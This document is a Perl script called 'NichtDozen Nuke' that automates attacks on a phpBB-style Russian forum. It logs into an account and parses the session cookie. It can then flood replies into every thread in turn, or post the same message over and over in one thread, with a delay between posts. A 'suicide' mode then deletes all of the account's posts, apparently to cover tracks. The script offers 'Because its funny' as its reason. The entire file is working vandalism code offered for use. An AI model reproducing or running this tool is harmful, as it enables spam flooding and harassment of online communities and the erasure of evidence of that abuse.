#!/usr/bin/perl -w use feature 'state'; use 5.010; use strict; use LWP; use Switch; sub x{ say$_[0]; } sub Usage{ #Usage function say "Version 1.0.2\nUsage:\n NichtdozenNuke [-debug or -d][-target or -t][-delay or -del]\n\t\t". '<-sendmessage (or -sm) -auth -th <# of thread> -m >'."\n\t\t". '<-floodatack (or -fa) -auth -maxth <# last thread> -m >'."\n\t\t". '<-threadatack (or -ta)-auth -th <# of thread> -count -m >'."\n\t\t". '<-suicide -auth >'."\n\t\t". '<-why>';exit; } sub PrintOk{ print "[\e[1;32mOk\e[0m]\n"; }; sub PrintFail{ print "[\e[1;31mFail\e[0m]\n"; } sub PrintLogo{ say "\n\t\e[1;31m______--------||||||||||||||||||||||\n\t<...\e[0m\e[1;41;36m NichtDozen Nuke by Ph0enix \e[0m\e[1;31m...>\n\t||||||||||||||||||||||--------_____\e[0m\n"; } sub GetTarget{ state $target='http://x.mybb2.ru'; if (@_){ ($target) = @_; $target; } else { $target; } } sub GetDelay{ state $delay=15; if (@_){ ($delay)=@_; $delay+=0; $delay; } else { $delay; } } sub GetCookie{ state $cookie=undef; if (@_){ ($cookie) = @_; } else{ $cookie; } } sub IfDebug{ state $debug=undef; if (@_){ $debug = @_; } else { $debug; } } sub JustLogin{ #Login function #take login password #return cookie (my $login, my $pass) = @_; unless (($login)&&($pass)) { &Usage; } else { my $browser = LWP::UserAgent->new; print "Target: ".&GetTarget()."\t Login: $login\tPassword: $pass\nTrying to login..\t\t\t\t"; my $response = $browser->post(&GetTarget().'/login.php', [ "login"=>"Вход", "password"=>$pass, "username"=>$login, "redirect"=>"", ], ); if (my $redir = $response->header('Location')){ my $buf=$response->header('Set-Cookie'); my @fields = split /\s/,$buf; foreach (0..9){shift @fields}; $buf=shift @fields; foreach (0..5){shift @fields}; $buf=$buf . " ". shift @fields; $buf=$buf . " undefined=2;"; &PrintOk; $buf; } else { &PrintFail; die "Cannot connect: Incorect Login or Password\n"; }#else }#else unless } sub SendMessage{ #SendMessage function print "Trying to send message... \t\t\t"; my ($thread, $msg) = @_; my $cookie=&GetCookie(); my $sid; if ($cookie =~ /sid=(\w+);/) { $sid=$1; } else { die "Cannot take sid" } $msg = `fortune` if ($msg eq '-takefortune'); my $browser = LWP::UserAgent->new; push @{ $browser->requests_redirectable }, 'POST'; my $response = $browser->post(&GetTarget().'/posting.php', [ 'message'=>$msg, 'mode'=>'reply', 'sid'=>$sid, 't'=>$thread, 'post'=>'Отправить', ], 'Accept-Charset'=>'utf-8;q=0.7,*;q=0.7', 'Cookie'=>$cookie, ); &PrintOk; if (&IfDebug()) {print $response->as_string;} } sub FloodAtack{ #FloodAtack fuction say "Flood atack"; my ($maxth, $msg)= @_; for (my $i=$maxth;$i>=2;$i--){ my $sendmsg = ($msg eq '-takefortune')?`fortune`:$msg; print "Message #".($maxth-$i+1)."\n"; &SendMessage($i,$sendmsg); if ($i!=2){print "Waiting\t\t\t\t\t\t";sleep &GetDelay();&PrintOk;} } say "Flood atack complete."; } sub ThreadAtack{ #Threadatack function say"Thread atack"; my ($th, $count, $msg)= @_; for (my $i=1;$i<=$count; $i++){ my $sendmsg = ($msg eq '-takefortune')?`fortune`:$msg; print "Message #".$i."\n"; &SendMessage($th,$sendmsg); if ($i!=$count) {print "Waiting\t\t\t\t\t\t";sleep &GetDelay();&PrintOk;} } say "Thread atack complete."; } sub ReturnNextDel{ #Return next delmessage ID my $browser = LWP::UserAgent->new; push @{ $browser->requests_redirectable }, 'GET'; my $response = $browser->get(&GetTarget().'/search.php?search_author='.$_[1], 'Cookie'=>$_[0], ); my $tmp=undef; my $txt = $response->as_string; if ( $txt=~/viewtopic\.php\?p=(\d{1,4})?&highlight=/){ # if ($1 eq '5096') { # $txt=~s/viewtopic\.php\?p=(\d{1,4})?&highlight=//; # $txt=~/viewtopic\.php\?p=(\d{1,4})?&highlight=/; # $tmp=$1; # } $tmp=($tmp)?$tmp:$1; print "Comment #$tmp will be delete\t\t\t"; $tmp; } else {undef;} } sub Retreat{ #suicide function (my $login, my $pas)=@_; my $cookie= &JustLogin($login, $pas); my $sid; if ($cookie =~ /sid=(\w+);/) { $sid=$1; } while (my $x=&ReturnNextDel($cookie,$login)){ my $browser = LWP::UserAgent->new; push @{ $browser->requests_redirectable }, 'POST'; my $response = $browser->post(&GetTarget().'/posting.php', [ 'sid'=>$sid, 'mode'=>'delete', 'p'=>$x, 'confirm'=>'Да', ], 'Cookie'=>$cookie, ); &PrintOk; print "Waiting\t\t\t\t\t\t"; sleep &GetDelay(); &PrintOk; } print 'All message deleted'; } #main() $|=1; &PrintLogo; my ($CheckLogin, $CheckPass, $thread, $count, $x, $mode); my %OptionalKeys = qw /-debug 1 -d 1 -target 1 -t 1 -delay 1 -del 1/; my $browser = LWP::UserAgent->new; if ($x = shift @ARGV){ while ($OptionalKeys{$x}){ if (($x eq "-debug")||($x eq "-d")){ #optional keys &IfDebug(1); $x = shift @ARGV; } if (($x eq "-target")||($x eq '-t')){ &GetTarget(shift @ARGV); $x = shift @ARGV; } if (($x eq '-delay')||($x eq '-del')){ &GetDelay(shift @ARGV); $x = shift @ARGV; } } #regular keys $mode=0; if ( ($x eq "-sendmessage")||($x eq '-sm')) { $mode=1; } elsif (($x eq "-floodatack")||($x eq "-fa")) { $mode=2; } elsif (($x eq "-threadatack")||($x eq "-ta")) { $mode=3; } elsif ( $x eq "-suicide") { $mode=4; } elsif ( $x eq "-why") { $mode=5; } if (($mode != 5)&&($mode !=0)){ if (shift @ARGV eq '-auth'){ $CheckLogin = shift @ARGV; $CheckPass = shift @ARGV; &GetCookie(&JustLogin($CheckLogin,$CheckPass)); } else {&Usage;} } switch ($mode) { case 1 { #SENDMESSAGE BLOCK if (shift @ARGV eq '-th'){ $thread= shift @ARGV; } else {&Usage;} if (shift @ARGV eq '-m'){ &SendMessage($thread, shift @ARGV); } else {&Usage;} } case 2 { #FLOOD ATACK BLOCK if (shift @ARGV eq '-maxth'){ $thread = shift @ARGV; } else {&Usage;} if (shift @ARGV eq '-m'){ &FloodAtack($thread,shift @ARGV) } else {&Usage;} } case 3 { #THREADATACK BLOCK if (shift @ARGV eq '-th'){ $thread = shift @ARGV; } else {&Usage;} if (shift @ARGV eq '-count') { $count = shift @ARGV; } else {&Usage;} if (shift @ARGV eq '-m'){ &ThreadAtack($thread,$count,shift @ARGV) } } case 4 { # #suicide block &Retreat($CheckLogin,$CheckPass); } case 5 { print 'Because its funny =)'."\n"; } else { print &Usage; } } #switch ($mode) } #if ($x = shift $ARGV) else {&Usage;}